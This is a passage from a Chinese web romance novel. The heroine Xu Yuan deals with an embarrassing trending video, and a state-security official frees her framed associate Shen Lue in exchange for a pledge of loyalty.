段星河懒懒散散的躺在沙发上,手机上开着直播,电脑上开着游戏,一心两用的玩着,听到她说话段星河抬起头先是讨打的“呦”了一声,然后冲她勾勾手:“你过来下。” 许愿挑了下眉,不知道他这葫芦里面卖的什么药,但还是过去了。 人才走过去,段星河就站起身低头扫了眼,果然看到了许愿脖子上的红痕,然后一拍大腿。 “你俩果然在车上没干好事!” 许愿:“……”这都什么跟什么? 第六感告诉她不是什么好事。 她也清楚好奇心会害死猫,但就是忍不住的问了一嘴,等到段星河给她安利了那段已经火到热搜上的视频后许愿的脸都跟着青了。 “你就这么看着这种视频在外传播?也不帮我撤热搜?”许愿语气都凉飕飕的。 段星河指了指自己耸了下肩:“我,科研人员,不是宣传部的,你该去问罪宣传部,我就是一乐子人。” 对,段星河就是那么个唯恐天下不乱的混蛋啊,他能有什么好心思,就只想看好戏了。 许愿根本笑不出来。 她关了段星河那叽里呱啦还在嗑CP尖叫的直播,扭头就往外走,很明显去找宣传部了。 “哎,走的时候把门带上!” 段星河喊了这么一句,本打算礼貌关门的许愿重新把门开开了,主打一个叛逆我不好过你也别打算好过。 “倒霉孩子。” 段星河忍不住吐槽了一句,然后悠闲的取出个智能遥控器摁了下,门自动关上了。 看看,他选的直播多正确啊,直接就把许愿气走了,他还能继续浪一阵。 等许愿把事情办完怎么也要一小时后了。 宣传部很少见到许愿,待知道许愿是因为什么来的后宣传部的员工都冒起冷汗。 “许总,这……这热搜好像也没有对盛世有影响,相反还代表您跟盛总感情好,我们盛世股价还涨了呢,这没有公关撤热搜的必要啊。” 话是这么说,但是很丢脸啊。 许愿脸颊还是粉的,也不知是气的还是羞的。 她没说话转身走了。 回到自己办公室就给薛酒打了电话。 第一句话开门见山直奔主题。 “你看热搜了没有。” “啊,就是那个离婚后前妻在我面前挑衅亲热,破碎的他,残忍的她和胜利的他?就是那段精彩绝伦的三人感情戏?就是那段让司机忍不住头皮发麻抽了数根烟的视频吗?就是哪个让狗仔记者忍不住激动险些握不住摄像机的视频吗?” 薛酒边说边笑,最后实在没忍住笑喷了,手机都没拿稳掉落在桌面上,透过手机都能听到薛酒狂放的笑声。 “……” 有那么一瞬间,许愿真的很想透过网络把人揪过来打一顿,省的这么招人恨呢。 “薛酒,笑够了吗。” “噗……还没有……”薛酒还挺诚实。 许愿捏了捏眉心:“你解释下为什么没有撤热搜。” “啊,这有撤热搜的必要吗?”薛酒开口:“体现了你跟盛景炎之间的恩爱,多好的视频啊,就为这你们还多了一大批CP粉呢!” 到底谁会想要这样的CP粉啊! 这视频有什么好的! 她看起来是那种很想让粉丝知道自己跟爱人在车上恩爱的人吗! 撤热搜!必须撤热搜! 第414章 别害我,劝删 “我跟盛景炎在车里做什么你猜不到吗,还让这个热搜词条挂着,现在立刻撤掉。” 薛酒靠在沙发上懒洋洋的喝了口咖啡:“你好凶哦。” 说着她凶却是一点都不带怕的,还腾出时间来整了整衣领和袖扣,在手机另一端声音里还带着笑意,显然就是喜欢看戏。 “薛酒,你删不删。” 薛酒揉捏了下眉心。 “删删删,没说不删啊,这就删啊祖宗。” 边说着祖宗边挂了电话,直接联系了下盛华的宣传部撤热搜。 毕竟是盛华办事,狗仔也不敢得罪,只是这视频被狗仔删掉后一群人疯狂在狗仔下面追问为什么删除视频,狗仔哪里敢说啊,人家盛华给了那么大一笔钱他疯了吗在这里胡说八道。 狗仔装哑巴,但是薛酒却在下面留言评论了。 【薛酒】:嘘——许总她害羞。 许总害羞?许总那不就是许愿,许愿害羞什么? {众所周知薛酒是盛华总经理,盛华跟盛世现在算是多重合作所以跟许愿关系很好,薛酒都出来多了……那不就代表许愿知道这条微博上热搜了所以才要求撤掉?害羞,为什么害羞?就是她在车里跟盛景炎亲热的事情被知道害羞啊啊啊!} 有人立刻解读了薛酒的意思。 {救命,真情侣就是好嗑啊!} {谁能知道许总在外面那么优雅的一个人还会因为这种事害羞啊,真的是每时每刻都想跟盛总打一架想抢他老婆啊!!!} {想抢盛总老婆非常真实,别说你想,就是A市上流圈子的二代三代们谁不想抢他老婆,但前提是要有盛总那样无敌恋爱脑,救命啊,什么是利许愿主义者,盛总就是吧,不然你们以为许愿为什么会成为许总,真情侣就是好嗑!} {难道就只有我在好奇盛总那方面真的没问题吗,我还等着看许总和盛总未来的孩子要有多逆天呢。} {盛总真的还行吗,那不是都车祸伤腿了吗?} {拜托是伤腿不是伤那里好吧!许总一看就是体力很好的样子,就很欲哎,好巧盛总也长了一张海王渣男脸,就这俩凑一起感觉是会一天换张床的程度!!} 上面那评论出来后下面回复了一堆问号,良久后薛酒回了个“?” 【薛酒】:别害我,劝删。 薛酒不评论还好,薛酒评论了才让人爆笑。 才跟薛酒打完电话没多久要跟刑从景约见负责沈略案件的人结果许愿就注意到刑从景欲言又止的表情,许愿顿时觉得有些不对。 “邢队 ,出什么事了?” 刑从景右手握拳抵在嘴边轻咳一声:“你先看看微博?” “……” 许愿先是沉默然后内心咯噔一下,飞速打开微博就看到了薛酒回的那两条微博的截图。 【薛酒】:嘘——许总她害羞。 【薛酒】:别害我,劝删。 劝删?删什么? 后面紧跟着就是一张截图,那位妹妹是许愿和盛景炎的CP粉,嗷嗷嗷的说他俩可能会每天弄坏一张床的评论就这么水灵灵的被许愿看到了。 聪明高智商如许愿碰到这样的事情也要脑内宕机。 什么啊? 不是? 薛酒有病吗? 许愿都觉得自己现在就算给薛酒打了电话薛酒也会大言不惭的来一句不是你说的撤热搜,你就说这热搜撤没撤吧。 是啊,撤了那个热搜,上去了一条更虎狼热热搜。 谁弄坏床了!还一天弄坏一张! 许愿满脑子都是天塌了,她是真的人都傻了完全不知道现在需要怎么处理解决这件事。 再让人撤热搜,就好像是默认自己跟盛景炎私底下胡来弄塌床,不撤吧看乐子的人只会越来越多,以后看到她和盛景炎说不定脑子里就会想到“床”,这像话吗? 许愿眼角狠狠一抽,登录微博的手都显得像是抽筋了似的。 她甚至有一种此刻就拖着盛景炎去火星种树的打算。 许愿登上微博,颤抖着手几乎没有理智的回了那位粉丝一句“你走”,然后回了薛酒一句“你滚”。 粉丝完全没有受到惊吓甚至被她翻拍开心的在下面哇哇直叫。 薛酒比较怂的直接断网了。 谁也没想到这次热搜会以这种好笑的方式当结尾。 “解决好了。”许愿觉得自己这辈子都没丢过这么大的脸,她觉得头都在痛:“邢队,带我去见下负责人吧,我说的是能直接给我答复的负责人,不需要一直上报上层的负责人,能给我最终结果的负责人。” 许愿可太明白国内这圈子里多复杂,哪怕是追击什么逃犯都要层层申报,一层层报下来开会有了结果再报备,不知道要过多久了,这难道那时候黄花菜都凉了,沈略没有那么多时间去等,她也没那么多时间耽搁在这无用的工作报告上面。 她都已经爬到着高度了,既然真的对他们有用,那任性些又何妨。 许愿甚至猜着,估计段星河同意选择挑一个国内的资本公司也是因为烦这个。 “我明白你的意思,和你对接的是国安部门新上任的部长。” 许愿听到这个部门先是怔了下:“沈略这点事都能惊动这个部门?” “你要的能直接给你最终结果的是国安部的部长。”刑从景身份地位特殊,所以才能直接联系到那边,也算解决了许愿不少麻烦。 许愿点了下头,像是很轻微的叹了口气。 “我其实挺好奇的,我的身份的确特殊,跟苏青莲有关系且还跟段星河绑定,但是派邢队来保护我是不是有点夸张了。” 刑从景的身份那是可以直接对接最上层领导的大人物,平日里他虽然什么都不说只是在看戏在保护许愿,但是真要有人敢对付许愿刑从景也是第一个会冲出来的人,也是他低调,外人都不清楚刑从景的身份,只能从他的各式举动能看出不一般来,否则谁敢跟许愿大声说话? 刑从景只笑了笑:“走吧。” 他不做回答,其实也是担心许愿多想。 负责保护许愿这件事本不该他来,但许愿是苏青莲的女儿,他只是想多关注一些,以免有什么人在自己不知道的情况欺负了她的女儿。 说到底还是为了苏青莲。 第415章 顾凛 许愿随着刑从景离开盛世,掐在此时,一名身穿黑色西装的男人在保镖簇拥下从另一头走来,深沉漆凉的目光只淡淡的扫了她一眼便将目光完全落在她身上。 许愿只是随意的看了眼就觉察出不对。 理由很简单,这人跟刑从景给她的感觉很像。 男人身材格外高大,被那么多高壮的保镖簇拥却仍然清冷的鹤立鸡群,一眼瞧过去首先看到的就是他。 男人的脸部轮廓是分离体,阔眉,深沉的眼,高挺的鼻,凉薄的唇,再往下就是线条明显的下颌,明明是这样立体的五官却又是标准的东方长相,全身都是男性的阳刚雄性气息,却又让人觉得威严冷酷。 明显的上位者。 久居高位的人才会给人沉重的压迫感。 一直跟随许愿保护许愿的特警队纷纷上前举手行礼:“顾先生。” 男人举手回了个军礼,而后目光落在许愿脸上。 其实他已经不算年轻,应该是比刑从景小不了几岁的。 许愿与他相同,目光也落到他身上。 坦白来说这人气场十分强大,身份定然显赫,而顾姓恰好也说明了这一点。 A市顾姓总裁很多,但涉及红色背景的顾家却只有这么一家,数年前满门忠烈独留下嫡系幼子才有了顾家后续传承的顾家,从战场硝烟中归来的顾家。 而这位就是曾碍于身份多次进入特警队出过数次任务后名正言顺承袭父亲职位的顾先生“顾凛”。 猜到这男人是谁后,许愿心道这人确实是能给她最终结果的人,就他的身份也没几个人不给他面子。 “顾先生,初次见面,我是许愿。” 许愿微笑点头,并没有被顾凛身上自带的低气压吓到,她仍然是那副淡淡的模样。 顾凛撩起眼皮,身上那股冷意都冲散几分。 “热搜的事情处理好了?” 许愿:“……” 许愿先是沉默,然后扭头看向身边的刑从景,刑从景有些无奈:“我什么都没说。” 许愿再度看向顾凛。 顾凛低笑一声,身上那股生人勿进的沉冷气息再度被吹散了。 “不是邢队说的。” “你可能不太了解你的身份。”顾凛走近几步居高临下的看着许愿:“你是苏青莲的女儿又跟段星河又关系,当然单是你现在研究出的东西就足够让我们重视你。” 虽然许愿研究的不是重工业武器,却能够在医药方面或者新兴科技方面碾压旁人就已经足够。 许愿眼皮紧跟着一跳。 她不觉得顾凛开口说的足够重视是什么好话。 足够重视其实就是侧面告诉许愿,上面有一群人每天盯着研究她呢。 天都要塌了。 许愿脸上淡淡的微笑都挂不住了:“那有些热搜你们既然看到了为什么不撤掉呢。” 顾凛淡淡的哦了一声:“不是挺有意思的?” 到底哪里有意思了? 许愿跟他不熟也说不出多过分的话,换做是薛酒她已经上手了。 许愿扭头又看向刑从景:“你们都这么抽象的吗?” 刑从景轻咳一声:“我还好,顾凛他十几岁就自己安排进了特警队这么多年才退下来,疯点抽象点也正常。” 许愿:“……” 无言以对。 啊,行。 天天执行秘密任务,同伴们可能隔一段时间换一批,知道那么多隐私整日里过着刀口舔血的生活,那确实是会疯。 “许总请吧,我们已经订好了房间谈一谈跟沈略相关的事。”顾凛开口道:“不过你身体比较虚弱所以叫的饭菜并不多,饮品选的热牛奶。” 行。 许愿不想说话。 她总觉得有哪里不对。 什么感觉呢?她觉得自己好像有点中二病,自己想象中自己是猛虎出行要跟人因为一系列事情谈判的,但是真的见了人,对方本该是能一口咬断她脖子的猛兽,偏偏却露出长辈的温柔模样,倒衬得她像是一头小奶猫。 许愿内心忍不住暗中唾弃自己几秒。 顾凛订的是盛世对面的一家酒店,还没进店呢,顾凛余光便已经瞥见几个鬼鬼祟祟的人。 顾凛淡淡道:“邢队,有老鼠在后面跟着,你的人没看到?” 顾凛的人已经冲过去将那几人的相机手机尽数没收删除了所有拍到的东西,并没有放人离开,直接匠人逮捕进车进行审讯。 刑从景看着这一幕没有任何反应,只淡淡道:“许愿提到过可以近身保护她但不能影响她的私人生活,她提到过这些不在我们的范围内,我们只要保护她不受伤就好……而且那些人明显就是狗仔,她上点热搜也挺有意思的。”说到这里刑从景瞥他一眼:“今天的热搜没意思吗?你不也看了?你没笑?” “笑了,是挺有意思的。”顾凛点头:“不过我的身份还是不方便暴露,有些视频需要删掉,可惜少了个热搜。”说到此处顾凛淡淡的对许愿说了声抱歉。 许愿:“……” 我请问呢? 你们上面的人都无聊到整天盯着人家的热搜看的吗?你还笑了?到底有什么好笑的啊!而且谁会喜欢上热搜啊! 许愿眼前一黑只觉得看不到自己的未来。 无话可说无言以对保持沉默吧。 到了包厢许愿都没吱声,顾凛也不说话,刑从景就坐在一旁品茶,喝了口就皱了下眉。 顾凛摘掉手上的皮质手套,长指轻点着桌面:“不好喝?” 许愿敏锐的目光落到顾凛手上,那双手上几乎遍布伤痕,甚至还有几根手指连接处狰狞的伤口,像是被砍断后再度接上一般,联想到这人的曾经的职业,许愿晃了下神。 “看什么呢。” 顾凛顺着她的视线落到自己手上:“害怕吗。” 许愿摇了摇头。 “我只是好奇这些伤口是怎么来的。”许愿开口 顾凛被她天真的话逗笑了。 其实手上的伤算不得什么,身上才是什么样的伤疤都有,别看顾凛现在身居高位,但当年都说他是硬汉。 这个硬值得不是身材,而是纯粹因为他的命足够硬。 第416章 表态 “在海外执行任务时遭到背叛被捕,手指被一根根砍断了,没什么大不了的,都接回来了。” 他说的轻描淡写,可许愿听着却心都跟着凉了半拍。 十指连心,难以想象这人当时有多痛。 “知道我为什么欣赏你吗。”顾凛开口:“在我险些成为废人被迫离开队伍时我被抛弃退婚。” 他提起这个自己都在笑,当年对他来说那么痛心的事情如今也当做乐子一样讲出来了。 “所以盛景炎断腿后你的那些回应我确实是欣赏的。” 许愿现在明白这人为什么从始至终对自己都是友好态度的了。 原来是因为她对盛景炎的态度从他这里得到了尊重。 “你的手治好了对吗。”许愿忍不住问了句。 “嗯,治好了,只是有些丑。”他开口道:“我该庆幸那群人没有在我脸上泼硫酸,断手可以毁容不行。” 他还挺有包袱。 许愿有些不知道说什么了,顾凛也不主动提起许愿约他的事,瞥到身边的刑从景,见他还在因为那杯茶皱眉。 “这杯茶到底多难喝,让你一直这个表情?” 刑从景放下茶杯淡淡道:“不如你的大红袍。” 听他提起这个,顾凛啧了一声。 许愿大概知道他们说的是是什么茶了。 武夷山母树大红袍,现今大红袍母树仅存六珠,被列为{世界遗产名录}绝对的珍稀茶种,并且早已经被上面明令禁止采摘,只会出现在拍卖场,上一次拍卖价格高达1040万一公斤,绝对的珍贵品种。 许愿倒是不会怀疑顾凛的行事作风,这人不是收受贿赂的人,顾凛有钱纯因为这人祖上就是富的,加之满门忠烈,经历过动乱时期家族也没有遭受冲击,且现在顾凛的侄子管理顾氏,顾氏算是A市真正的豪门世家,站在塔尖的家族,顾凛就是什么都不做每年的分红就足够他过着奢侈生活的。 “有时间去我那分你点。”顾凛不小气,刑从景也不客气。 许愿倒是看出来这俩人关系极好了。 “你们……关系很好?”许愿还是问了句。 刑从景淡淡道:“当初进特殊警备队是我带的他。” 那确实是过命的交情了,怪不得刑从景这么容易就把人叫出来。 都到现在了,许愿也不打算继续浪费时间,顾凛是肯定知道她为什么想见他。 “顾先生,沈略那件事我想我们应该谈一谈。” 顾凛见她切入正题略微点了下头:“在谈这件事前,你知道有人指控沈略藏了违禁品这件事吗。” 违禁品…… 许愿顿住。 “这不可能。” 是的,这不可能。 沈略绝对不可能做出这种错的离谱的事情。 顾凛嗯了一声:“但确实是在沈略居住的地方翻出了违禁品残留的东西。” 许愿有些急,顾凛就已经开口:“你先别急,沈略在房内安插了监控录像,其实可以证明他的清白。” 顾凛已经私下审讯过沈略,得知有监控后就命人搜罗出监控录像。 从他录下的监控视频里可以看见,他的房间先后有几人去过。那些人在屋子里胡乱翻找一圈,砸了很多东西,然后气急败坏地离开。 之后,一名头戴鸭舌帽,脸蒙黑口罩的男子偷偷摸摸潜入公寓,将违禁品分别藏在十个隐秘的地方。有一个地方正好安装着一枚针孔摄像头,把他陡然靠近的上半张脸拍摄下来,眉毛是稀疏的,双眼是凶狠的倒三角,不用把截图输入计算机做更深入地比对也能看出来,他与沈略没有丝毫相像之处。 违禁品是别人趁沈略不在时偷偷藏的,完全证明了沈略的清白。 顾凛将这段录像给许愿看。 许愿有些错愕,此刻她有些猜不透会是谁做了这种事。 纵然是容浔把沈略推出来,但容浔还没有毒到这一步用违禁品毁了他。 会是傅长海吗?在知道容浔推出沈略为他背黑锅后打算彻底毁了沈略所以吩咐人准备了违禁品。 不是没有可能。 傅长海的腿可是她在知道盛景炎出事后故意撞残的,她和傅长海之间早就有了解不开的仇恨,她要护着沈略那傅长海绝对是打算毁了沈略的。 许愿内心的冷意愈发深了。 看来傅长海还真是五毒俱全了。 好在沈略房间有监控一举一动都在沈略的监控之下,证明了沈略的清白。 “既然这件事能够证明沈略的清白,那是不是可以放了他?” 许愿开口。 顾凛顿了下,目光落在许愿脸上。 “傅氏起诉有关于沈略的罪名你能拿出证据吗。”顾凛询问。 许愿摇头:“我没有证据,但我可以保证沈略不会做这些事,我想我目前的身份保一个人出来应该不是什么大问题。” “我想知道我保他出来需要做什么,或者付出什么。” 有得有失,想守护什么必定要失去什么,许愿一直都明白这个道理。 顾凛却笑了。 “你把莱蒂斯赶出华国就算是做了一件好事,用这件事来换沈略自由倒也够了,不过……我还需要你表明态度。” 许愿不懂他的意思。 “许愿,段星河桀骜不驯心思深重,他从不会完全表态自己永远都是华国人,所以我们派人跟着他说是保护也是变相的监视。” “现在你能制住段星河,而你是在华国长大的,我需要你明确表态你永远都是华国人永远不背叛华国不做任何伤害国人的事。” “如果你能够表态,那么在未来你想做的很多事在我这里都能够直接亮绿灯。” “只要你不背叛华国不背叛国人,你在这里就有特权。” 扼杀人才还是拉拢人才,顾凛当然能明白选哪一个。 只有蠢货在这种时候选择用交易的方式来逼着许愿给好处。 事实上只要许愿表态,以后她研发的任何东西都会是有利于国家的。 许愿笑了。 她并未示弱的开口:“我会像国家爱我一样爱国家,国家不背叛我我也永远不会背叛国家。” 许愿毫不退让道:“顾先生,这句话足够吗。” 第417章 我配吗 许愿的话是表态吗? 的确是表态。 但是她也明确表示你们不背叛我我也不会背叛你们。 很公平。 顾凛只觉得有趣,他深深的看了许愿一眼。 “那么我很庆幸,在我顾家人还在位期间,许总都会跟我们是一条心,这很好。” 许愿没有明确表态,但顾凛却是直言了。 许愿要的是上面的态度,顾凛就代表上面给了她态度。 跟手握大权的聪明人说话就是爽快。 许愿伸出手:“那么,感谢顾先生。” 顾凛伸出手回握。 “晚一些时间我会联系下属放归沈略,会给你发信息。” 谈到这里事情都已经明朗。 许愿道谢后跟顾凛交换了联系方式离开。 刑从景没有马上离开,倒是警备队其它队员先跟随许愿回了盛世。 “这还是你第一次见她的女儿,你觉得像她吗。” 顾凛自顾的摇晃着茶杯,他环顾了下桌面,菜一口不见少,许愿从头到尾也只喝了那杯热牛奶。 他失笑:“相貌像,性格的话,许愿可能更理智一切。” “理智吗?傅长海的腿是她在得知盛景炎出事与他有关后撞断的。”刑从景反驳了一句。 “在可控范围内室理智的,你可以试想一下如果是唐青江出事,傅家所有人可能都会被苏青莲连坐,现在傅家人坟头草都长出来了。” 刑从景不置可否。 刑从景在最纯爱的年纪遇到了苏青莲,她美貌强大,好像一切到她手中都变得简单起来,没有人不欣赏这样的人,没有人能忍得住不去爱她。 他是这样,顾凛也是这样。 当年队内出了内鬼,顾凛遭设计被捕,手指被一根根砍断,他费尽心思救回顾凛,找来那么多医生都没办法接上他的手指。 他还那么年轻,毁掉手就毁掉一切,再也无法拿枪拿刀,面临退伍的情况,再被未婚妻退婚后整个世界都是灰暗的,可偏偏就是那时候苏青莲来了。 那么多人口中难以做到的的事她好像很轻松就做到了。 动手术的是唐青江,研发这类精密仪器的是苏青莲。 她说不是什么大事,保证他还能重新回到组织。 他至今都还记得苏青莲鲜活的容颜,这么多年都在他回忆中无法褪色。 所以哪怕这么多年过去,可以去除手上的伤疤他却还留着这些疤痕,因为只有这些才能提醒他,他跟苏青莲这辈子有过交集,这对他来说是慰藉。 他是做不出抢旁人爱人的事。 所以只能将这段感情藏在心底。 事实上就像是有些人在网络上口出狂言说他们这一辈很多大人物心里藏着的人是苏青莲。 没说错,至少顾凛刑从景知道的就有不少。 优秀的人就是招人喜欢的,不是吗。 刑从景能这么快就叫来顾凛,甚至让顾凛自己定了包厢特地赶过来,不单单是给刑从景面子,更多的原因是他想见一见苏青莲的女儿。 仅此而已。 …… 审讯室内。 三名狗仔被关进警局人都傻了。 什么情况啊,他们只是看有同行拍了许愿的视频发到网络上得到一波热度,盛华还给了钱撤热搜,所以他们也想发一笔财这才相约来堵许愿拍点照片视频什么的。 可是……拍点这个犯法了吗?为什么要把他们关进局子里面啊! 狗仔这么想了也就这么问出来了。 负责审讯的是顾凛的下属,脸色冰冷道:“涉嫌拍摄国安部领导人侵犯上层隐私,你们这种罪行严重的话是要被判终身监禁的!” 什么啊?什么啊?怎么就终身监禁了! 谁!谁国安部的? 他们疯了去招惹这么个大佬! 等等!狗仔们脸都白了,赫然都想到被那群保镖围在中间的顾凛。 他们只看那人长得不错气质卓绝虽然身上气场不一般,但真以为是大家族的人啊!谁会想到许愿跟这阶层的人有关系! 狗仔们疯狂解释求救,最后实在没办法了开口道:“同志,同志,我们真的只是想拍点八卦视频,您看您能不能联系下许总,许总能理解的,求您联系下许总。” 狗仔也是没办法了,只能寄希望在许愿身上。 沈略被放出来时许愿亲自来接。 他看着消瘦很多,面色也是苍白的, 顾凛亲自送人出来,许愿正要道谢就接到了那边打来的电话,是顾凛的下属传达狗仔们求饶的话。 许愿眉心一跳。 她都没想到顾凛真的闹这么大。 不过一想这人的身份倒也能明白。 “确保他们删除视频和照片不会暴露顾先生就够了,相信经过这次事件他们也不敢再乱拍了。” 狗仔们也就是混口饭吃,许愿轻拿轻放。 顾凛下属明白她的意思,这才放了那三个狗仔。 狗仔们松了口气热泪盈眶。 他们就说网络上为什么那么多许愿的脑残粉,这换谁谁不脑残啊!这么温柔明事理,而他们还要拍她的八卦卖钱,太不是东西了。 狗仔们嗷嗷哭,完全成了许愿的忠实铁粉。 也是从这一天开始,娱乐圈里多了条留言,据说许愿横跨黑白灰三道背景,势力错综复杂,就因为这个有一段时间爆她料的人都少了。 许愿倒是不知道因为自己的善念还多了三个狗仔粉丝。 她目光落在沈略身上,打开了车门。 沈略深深的看她一眼上了车,许愿开着车打趣:“买了两个超大的柚子,还有不少柚子叶,据说用这个洗澡能去霉运,给你准备好了。” “以前那套平层别墅就别住了,我目前打算安排你进盛世。” “盛世有部分人我还没有处理干净,所以暂时要委屈你当我的秘书,等那些人清扫干净后会给你合适的岗位,傅氏当初给了平层别墅,我这边也会给你安排好房子,放心不会比傅氏差。” “房子车子都已经安排好了,就等你拎包入住了。” 沈略一直都是沉默的,直到许愿不再开口,他才问:“你救我出来是跟容浔签订了什么条款还是答应了谁什么要求。” “许愿,你真的认为我配让你做这些吗。” 第418章 我的自信,分你一点 “为什么会这样说。” 许愿低着头玩弄着手中的柚子叶,听到沈略的话她像是无奈的叹了口气。 “我以为你永远不会说出这种话,在我眼里你是那么自信的一个人。” 许愿看他,她的眼睛是亮的,比之在傅氏的时候多了光彩,她伸出手对他说:“看好。” 沈略愣了下,随着她的目光看去,许愿像是隔空抓了一把空气递到他面前。 “我的自信,分你一点。” 沈略本来还有些怅然,却被她这举动噎住,一时无言。 “接着啊。” 许愿握成拳仿佛手心真的藏着她的自信一样递交到他面前:“我的自信,旁人还要不来的,接好了。” 沈略失笑,却还是依言接过她友好赠予的“自信”。 “我收到了,然后呢。” 许愿抱着肩:“然后就不要在这里伤春悲秋了。” “你可是沈略,毕业于国内高等院校又被推荐出国留学几科学分修满为A的优秀毕业生,你有什么可自卑的?如果你都要自卑,那全天下的男人岂不是都睡不着觉了。” “你呢,就该多来点自信,然后把你身上的自卑分给那些过于自信的人。” 许愿将另一只手的柚子叶也跟着塞到他手心,沈略还没跟上她的节奏,许愿便已经取出手机给他发了十几份文件。 “你的能力我最清楚的,接下来你会是我在盛世的首席秘书,等我真正拿下盛世后会给你安排合适的职位,这些是现阶段需要跟进的,你看下,今晚先带你见见人,你可以选择明天休息一天或者直接进入盛世工作。” 她根本就没有给沈略发散的机会。 还有时间在这里失落伤心,那就是不够忙,忙起来就没时间想那些杂七杂八的事情了。 那三年……许愿就是这样自我麻痹的。 “许愿,你好像还没有回答我的问题。”沈略也不是傻子,会这么轻易的被糊弄过去。 许愿挑眉看他:“其实我不明白你为什么一定要纠结这些。” “你是觉得我为了救你放弃了很多妥协了很多吗?” 沈略不说话,但他想要表达的确实是这个意思。 “其实我见过容浔,我本意是想要出你清白的证据接你出来,让那些人明白你是被诬陷的,你是无辜的,不过容浔狮子大开口我拒绝了他的合作请求。” 事实上容浔不算是狮子大开口,她能看透容浔的算计,容浔也能看透她的算计。 容浔就是想用沈略来拿捏她继续合作,但显然她不会给傅氏这个机会,所以谈崩了。 可以说许愿向来不是个会委屈自己的人。 “所以你不必为这件事自责,我没有为了救你而退让。” 把话说清楚,沈略也能更自在。 沈略顿了下,似乎是在疑惑自己为什么会被放出来。 “你应该听说过一句话,一个成熟强大的企业家是可以拯救这个国家的。” “我手上最新研发的东西足够证明我的能力,所以他们对我要保的人也会纵容。” “他们没有绝对的证据说你做了这件事,我就有能力将你从里面带出来。” “我没有做任何妥协,所以你可以放心了。” 沈略终于放下心。 他想那么多就是担心自己会给许愿添麻烦,现在知道许愿没有因为他儿退让才终于恢复了点光彩。 “现在可以自信点了?” 沈略点了下头,目光看向窗外,车子在路面行驶。 巧的是,正开过傅氏。 他回头望向已经在身后的高楼,像是在对自己的过去说再见。 “其实我还是有些在意,傅氏铁三角就这么分开了。” 沈略手里还捏着许愿塞进来的柚子叶,这话才说完,手里又被塞了瓣剥好的柚子。 也不知道许愿是什么时候剥开了柚子。 “没了傅氏铁三角还能有盛世铁三角,盛华铁三角,你这么执着于三角,华庭最近好像有新上的菜色,你知道北方有糖三角吧,据说华庭的厨师做了创新,有了桂花香芋三角,红糖豆沙三角,蓝莓山药三角,你要爱吃今天可以都点一遍。” 沈略:“……” 很好,瞬间就不忧伤了呢。 到了华庭,许愿跟沈略下车,沈略还挺体贴的拎着许愿买的柚子,不过她买的有点多了,还有十几个大柚子,一箱子都装不上,还是司机跟在他们身后找华庭借了退拉货的小推车在后面稳稳跟着。 “怎么突然来了华庭?” 沈略开口问。 许愿菜吃了瓣柚子,唔了一声:“我不是在车上说过了,带你见一见你未来的同事。” 她没具体说见谁,就说是同事,沈略猜测是盛世的人。 只是不巧,才踏进华庭,迎面撞上的就是傅京礼。 他不是一个人,身边的是容浔,宋野,江惊蛰,看起来也是聚会。 宋野的眼眸染上了一缕墨色,面上却没有丝毫波澜,但是在看到许愿后挑了挑眉梢,本来就带着几分浪荡之意的面容多了几分笑意。 他跟傅京礼是兄弟,但跟许愿也是朋友,所以这群人里面只有他是最自在的。 “阿愿,一起吗?” 一起?怎么一起? 宋野是真不嫌事儿大,沈略才被傅氏设计,许愿花了心思捞出来以后他就算盛世的人了,两个从傅氏离开的人去参加傅氏的聚会?如果真去了那她脑子多半是不怎么清醒的。 “你确定想一起?你不如问一问你身边人的意见。”许愿问他。 江惊蛰沉默,傅京礼目光落在她脸上未曾移开,倒是容浔毫不在意似的笑了笑:“我倒是不介意一起,阿愿,要来吗。” 明明已经算是撕破脸的程度,容浔却好像什么都没有发生似的。 许愿正要开口,就听到一道调侃似的清朗笑意在身后响起。 “到现在还没放弃拉拢我们许总吗。” 是薛酒的声音。 许愿转身,正瞧见薛酒依靠在墙边,他不知道什么时候头发染成了蓝色,妖里妖气的,但因为长了那么一张漂亮妖孽的脸所以还是好看的。 只是看到蓝色头发许愿眼前一黑,有些无语的捏了捏眉心。 薛酒什么都好,就是这喜欢非主流的毛病改不掉。 第419章 傅京礼是真的栽了 薛酒身边的是陆斯年,陆斯年右手边分别是陈飞豪和左司,而苏逸则是跟盛景炎一起,看到许愿点了下头走过去。 “姐,我们等你好久了。” 很明显是这群人等太久怕她出什么事所以特意出来看一看,没想到会撞见傅氏的人。 “遇到了老朋友所以耽搁了点时间。” 许愿仍然是对外那副温柔的模样,她看到江惊蛰点了下头,但看到宋野时唇角笑意明显变大。 “有机会再私下约饭,今天真的有事,手机联系。” 宋野扬眉嗯了一声,他也不拿自己当外人抢了个柚子:“这么多柚子,分我一个不介意吧。” 许愿当然不介意,宋野这才颠了颠手中的大柚子任由许愿离开了。 傅京礼全程望着许愿的身影没有移开眼。 此刻一瞬不瞬地看着她远去的背影,不知为何,胸口竟闷得发疼。 他拿出一支香烟,却没有点燃,只是叼在嘴里,无意识地咬着烟嘴。 其实知道许愿不喜欢烟味儿之后他就把烟戒掉了,而这个过程完全不像他想得那么难。只要一想到许愿不喜欢,他就无论如何都摁不下打火机。 哪怕是回到包厢脑海中仿佛还闪过许愿方才带着笑意的声音。 低低地笑,一丝丝,一缕缕。她说话的速度很慢,每一个字节从她喉间溢出,尾音拖得很长,温柔却又仿佛带着点让人心痒难耐的错觉。 可却又不受控制的想到她与盛景炎在车上去哪热的模样,心痛的更厉害。 他知道自己快要被许愿逼疯了。 那人是禁品一样,不能碰,碰了就一辈子都戒不掉。 包厢内气氛古怪,江惊蛰兀自给自己倒着热茶,他向来不喜欢喝酒,聚会一向都是喝茶的。 容浔眼角带笑还是什么都不在意的模样,不过却已经在翻看资料了。 傅京礼沉默的开着红酒一杯杯的喝着,没人劝他,许是知道劝不住。 倒是宋野慢条斯理的开始剥柚子,许愿买的柚子皮薄,很容易就剥开,包厢内都能问道柚子的清爽的淡淡水果香味。 傅京礼撩起眼皮看了他一眼,宋野很给面子的分给他两瓣柚子。 “许愿那边抢的,尝尝,据说这东西去霉运?” 听到许愿二字他接了,他似乎有点醉了,目光落在那两瓣柚子上仿佛都多了些许说不清道不明的情绪。 宋野也算公平,江惊蛰和容浔也分到两瓣柚子。 似乎是因为这东西是许愿带来的,都挺给面子的吃了。 也是新鲜,来华庭点了菜,菜上桌了不吃菜干吃柚子,就这场面被人拍到都要嘲讽说这是P图,没人信的程度。 “其实我挺不理解你们几个的。” 宋野吊儿郎当的靠进沙发里面,姿态闲散悠然的,跟这边三个人形成鲜明对比。 他这话一出声,几人全都朝着他看去。 宋野道:“当然江惊蛰除外啊,我说的是容浔和阿礼。” 